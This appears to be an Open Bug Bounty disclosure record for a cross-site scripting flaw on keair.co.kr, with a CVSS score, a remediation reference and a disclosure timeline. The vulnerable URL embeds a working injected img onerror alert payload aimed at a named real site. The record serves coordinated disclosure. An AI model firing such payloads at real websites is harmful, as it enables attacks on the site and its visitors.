keair.co.kr XSS vulnerability

keair.co.kr XSS vulnerability, Open Bug Bounty ID: OBB-436320, Custom Code, Vulnerability Type: XSS (Cross Site Scripting), CVSSv3 Score: 6.1, Remediation Guide: OWASP XSS Prevention Cheat Sheet, Vulnerable URL: http://keair.co.kr/about/sub04.php/%27%22--!%3E%20%3Cimg%20src=x%20onerror=alert(%22openbugbounty%22)%3E?mode=V&bbs;_cls_cd=001003007&idx;=734&category;=&keyword;=&pg;=1&ckattempt;=1, Coordinated Disclosure Timeline, Vulnerability Reported: 26 November, 2017 18:25 GMT, Vulnerability Verified: 27 November, 2017 10:36 GMT, Website Operator Notified: 27 November, 2017 10:36 GMT, Vulnerability Published: 27 November, 2017 10:36 GMT[without any technical details], Public Disclosure: 24 February, 2018 18:25 GM